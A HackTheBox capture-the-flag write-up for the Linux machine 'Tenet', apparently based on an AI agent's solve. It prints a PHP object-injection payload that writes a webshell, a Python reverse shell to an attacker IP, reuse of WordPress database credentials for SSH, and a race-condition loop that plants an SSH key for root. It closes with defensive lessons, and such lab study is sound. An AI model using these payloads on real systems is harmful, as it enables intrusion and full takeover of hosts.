HTB: Tenet Writeup

Tenet - HackTheBox Writeup

Machine Information

AttributeDetails
NameTenet
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP Address10.129.43.170
AuthoregotisticalSW

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐☆☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Tenet is a Medium-difficulty Linux machine that demonstrates the dangers of insecure deserialization in PHP and race conditions in privilege escalation vectors. The attack path begins with discovering a backup PHP file containing vulnerable code that uses unserialize() on user-controlled input. By crafting a serialized PHP object, attackers can achieve arbitrary file write leading to remote code execution as www-data. Lateral movement to user neil is achieved through password reuse found in WordPress configuration files. Finally, privilege escalation to root exploits a race condition in a sudo-enabled bash script that writes SSH keys to root’s authorized_keys file using an unsafe temporary file creation pattern.

TL;DR: Backup PHP file disclosure → PHP object injection via unserialize() → webshell upload → WordPress credentials (neil:Opera2112) → race condition in enableSSH.sh sudo script → root SSH access.


Reconnaissance

Port Scanning

Terminal window
# Initial port scan
nmap -sC -sV -T4 -p- 10.129.43.170

Results:

  • 22/tcp - OpenSSH (version not specified in agent log)
  • 80/tcp - Apache HTTP Server

Service Enumeration

HTTP Service (Port 80)

The web server on port 80 hosts an Apache default page at the root, but further enumeration reveals a WordPress installation. The WordPress site references a hostname tenet.htb that must be added to /etc/hosts for proper access.

Terminal window
# Add hostname to hosts file
echo "10.129.43.170 tenet.htb" >> /etc/hosts

Within the WordPress blog, a comment mentions a file called sator.php and references a backup that should have been removed. Testing for common backup extensions reveals the source code:

Terminal window
# Download the backup file
wget http://10.129.43.170/sator.php.bak

Vulnerability Assessment

Critical Findings:

  1. PHP Insecure Deserialization - The sator.php.bak file reveals vulnerable code:

    • Uses unserialize($_GET['arepo']) on user-controlled input
    • Contains a DatabaseExport class with a __destruct() magic method
    • The destructor calls file_put_contents() with controllable file path and data
    • This enables arbitrary file write through object injection
  2. Credential Exposure - WordPress configuration file readable by web server user

  3. Sudo Misconfiguration - Script with race condition vulnerability in privilege escalation path


Initial Foothold

PHP Object Injection Exploitation

The sator.php.bak file contains the following vulnerable code structure:

class DatabaseExport
{
public $user_file = 'users.txt';
public $data = '';
public function __destruct()
{
file_put_contents(__DIR__ . '/' . $this->user_file, $this->data);
echo '[] Database updated <br>';
}
}
$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);

Why this is vulnerable:

  • When PHP unserializes user input, it reconstructs objects with attacker-controlled properties
  • The __destruct() magic method is automatically called when the object is destroyed
  • By controlling $user_file and $data, we can write arbitrary content to arbitrary files

Generating the Exploit Payload

Create a serialized object that writes a PHP webshell:

<?php
class DatabaseExport
{
// Target filename for our webshell
public $user_file = 'attack.php';
// Webshell code that executes system commands
public $data = '<?php system($_GET["cmd"]);?>';
}
// Serialize the malicious object
$payload = new DatabaseExport;
echo serialize($payload);
?>

This generates the following serialized payload:

O:14:"DatabaseExport":2:{s:9:"user_file";s:10:"attack.php";s:4:"data";s:29:"<?php system($_GET["cmd"]);?>";}

Payload breakdown:

  • O:14:"DatabaseExport":2: - Object of class DatabaseExport with 2 properties
  • s:9:"user_file";s:10:"attack.php" - String property user_file = “attack.php”
  • s:4:"data";s:29:"<?php system($_GET["cmd"]);?>" - String property data = webshell code

Deploying the Webshell

Terminal window
# Send the serialized payload via GET parameter
curl 'http://10.129.43.170/sator.php?arepo=O:14:"DatabaseExport":2:{s:9:"user_file";s:10:"attack.php";s:4:"data";s:29:"<?php system($_GET[%22cmd%22]);?>";}'
# Verify webshell was created and test command execution
curl 'http://10.129.43.170/attack.php?cmd=id'
# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

The successful id command confirms we have remote code execution as the www-data user.

Establishing Interactive Shell

Terminal window
# Verify Python3 is available
curl 'http://10.129.43.170/attack.php?cmd=which+python3'
# Set up listener on attacking machine
nc -lvnp 4444
# Execute reverse shell payload through webshell
# URL-encoded Python reverse shell
curl 'http://10.129.43.170/attack.php?cmd=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.14.x%22,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/bash%22,%22-i%22]);%27'

Lateral Movement (www-data → neil)

WordPress Configuration Enumeration

WordPress stores database credentials in wp-config.php. As www-data, we have read access:

Terminal window
# Read WordPress configuration file
cat /var/www/html/wordpress/wp-config.php

Credentials discovered:

define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'neil' );
define( 'DB_PASSWORD', 'Opera2112' );

Why this works:

Database credentials are often reused for system accounts, especially in smaller deployments or CTF-style environments. The username neil matches a system user.

SSH Access as neil

Terminal window
# Test credential reuse via SSH
ssh neil@10.129.43.170
# Password: Opera2112
# Successful authentication
neil@tenet:~$ id
uid=1001(neil) gid=1001(neil) groups=1001(neil)
# Capture user flag
neil@tenet:~$ cat user.txt
<redacted>

Privilege Escalation (neil → root)

Sudo Enumeration

Terminal window
# Check sudo privileges
neil@tenet:~$ sudo -l
# Output shows:
# User neil may run the following commands on tenet:
# (ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh

The user neil can execute /usr/local/bin/enableSSH.sh as root without a password.

Script Analysis

Terminal window
# Review the sudo-enabled script
cat /usr/local/bin/enableSSH.sh

Key vulnerable sections:

#!/bin/bash
addKey() {
# VULNERABILITY 1: mktemp -u creates filename without creating file
tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
# VULNERABILITY 2: umask 110 makes file world-writable (permissions 666)
(umask 110; touch $tmpName)
# VULNERABILITY 3: Double >> allows appending instead of overwriting
/bin/echo $key >>$tmpName
checkFile $tmpName
# File contents written to root's authorized_keys
/bin/cat $tmpName >>/root/.ssh/authorized_keys
/bin/rm $tmpName
}
key="ssh-rsa AAAAA3NzaC1yc2G... root@ubuntu"
addKey

Race Condition Vulnerability:

  1. mktemp -u generates a filename but doesn’t create the file (unsafe per man page)
  2. Small time window exists between filename generation and file creation
  3. umask 110 results in permissions that allow world-write access
  4. An attacker can create the file first and continuously overwrite it
  5. If timed correctly, attacker’s SSH key gets written to /root/.ssh/authorized_keys

Exploitation Strategy

Attack flow:

  1. Generate attacker’s SSH key pair
  2. Create a loop that continuously writes attacker’s public key to /tmp/ssh-* files
  3. Run enableSSH.sh repeatedly as sudo
  4. When timing aligns, attacker’s key lands in root’s authorized_keys

Generate SSH Keys

Terminal window
# Generate new SSH key pair on attacking machine
ssh-keygen -f rootkey -N ""
# Creates rootkey (private) and rootkey.pub (public)
# Copy public key content for exploitation
cat rootkey.pub

Race Condition Exploit Loop

Create a script to continuously overwrite temporary SSH files:

#!/bin/bash
# race_exploit.sh - Continuously overwrite /tmp/ssh-* files with our public key
while true; do
for file in /tmp/ssh-*; do
if [ -f "$file" ]; then
# Replace contents with our SSH public key
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC... attacker@kali root@ubuntu" > "$file"
fi
done
done

Alternative approach (as mentioned in agent solve): Use a background loop to continuously monitor and overwrite the temp file while running enableSSH.sh in a separate loop.

Execution

Terminal window
# On target as neil - Start the race condition exploit in background
neil@tenet:~$ while true; do for f in /tmp/ssh-*; do [ -f "$f" ] && echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAB... root@ubuntu" > "$f"; done; done &
# In another terminal session - Run the sudo script repeatedly
neil@tenet:~$ while true; do sudo /usr/local/bin/enableSSH.sh; done
# Monitor for success message:
# Successfully added root@ubuntu to authorized_keys file!

Why this works:

  • The background loop runs thousands of iterations per second
  • Each enableSSH.sh execution creates a brief window where the temp file exists
  • Eventually, timing aligns: our key overwrites the temp file before cat reads it
  • Our public key gets appended to /root/.ssh/authorized_keys
  • The “root@ubuntu” comment in our key satisfies the script’s validation check

Root Access

Terminal window
# SSH as root using our private key
ssh -i rootkey root@10.129.43.170
root@tenet:~# id
uid=0(root) gid=0(root) groups=0(root)
# Capture root flag
root@tenet:~# cat /root/root.txt
<redacted>

Attack Chain Summary

Port 80 enumeration → sator.php.bak discovery → PHP object injection payload crafted →
attack.php webshell deployed (www-data) → wp-config.php enumeration → neil:Opera2112 credentials →
SSH as neil → sudo -l reveals enableSSH.sh → race condition exploit →
root SSH key injection → root access

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
curl/wgetHTTP requests and file downloads
phpGenerating serialized exploit payload
ssh-keygenCreating SSH key pairs for root access
bashScripting the race condition exploit
ncReverse shell listener

Key Learnings

Techniques Practiced

  • PHP object injection - Exploiting unserialize() on user input
  • Magic method abuse - Leveraging __destruct() for arbitrary file write
  • Credential enumeration - Mining configuration files for reused passwords
  • Race condition exploitation - Timing attacks on file system operations
  • Sudo abuse - Leveraging NOPASSWD scripts with vulnerabilities

Lessons Learned

  1. Never trust user input to unserialize() - PHP’s unserialize() function is extremely dangerous when used on untrusted data. Always validate and sanitize input, or better yet, use safer serialization formats like JSON. The __destruct() magic method combined with controllable properties creates a powerful arbitrary file write primitive.

  2. Backup files are security risks - Leaving .bak, .old, or other backup files in web-accessible directories exposes source code and internal logic. Implement proper deployment procedures that exclude backup files, and configure web servers to deny access to common backup extensions.

  3. mktemp -u is unsafe by design - The -u flag creates a race condition by printing a filename without atomically creating the file. Always use mktemp without -u to ensure atomic file creation. The man page explicitly warns about this.

  4. umask affects security - A umask of 110 results in file permissions of 666 (world-readable and writable). When creating temporary files, especially as root, use restrictive permissions (e.g., umask 077 for 600 permissions).

  5. Credential reuse is common - Database credentials, especially in WordPress installations, are frequently reused for system accounts. Always test discovered credentials against SSH, su, and other authentication mechanisms during privilege escalation.

  6. Race conditions require persistence - Exploiting race conditions often requires running exploit loops hundreds or thousands of times before the timing aligns. Automation and patience are key to successful exploitation.

  7. Temporary file handling requires care - Scripts that handle temporary files in shared directories (/tmp) need to:

    • Use atomic file creation (mktemp without -u)
    • Set restrictive permissions (umask 077)
    • Validate file ownership before reading
    • Be aware of TOCTOU (Time-of-Check-Time-of-Use) vulnerabilities

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

This writeup’s explanatory detail and vulnerability analysis was informed by the official HackTheBox writeup for Tenet (Document No D21.100.122), prepared by TRX, while all specific command outputs, IP addresses, and procedural steps reflect the author’s actual penetration test against the live target.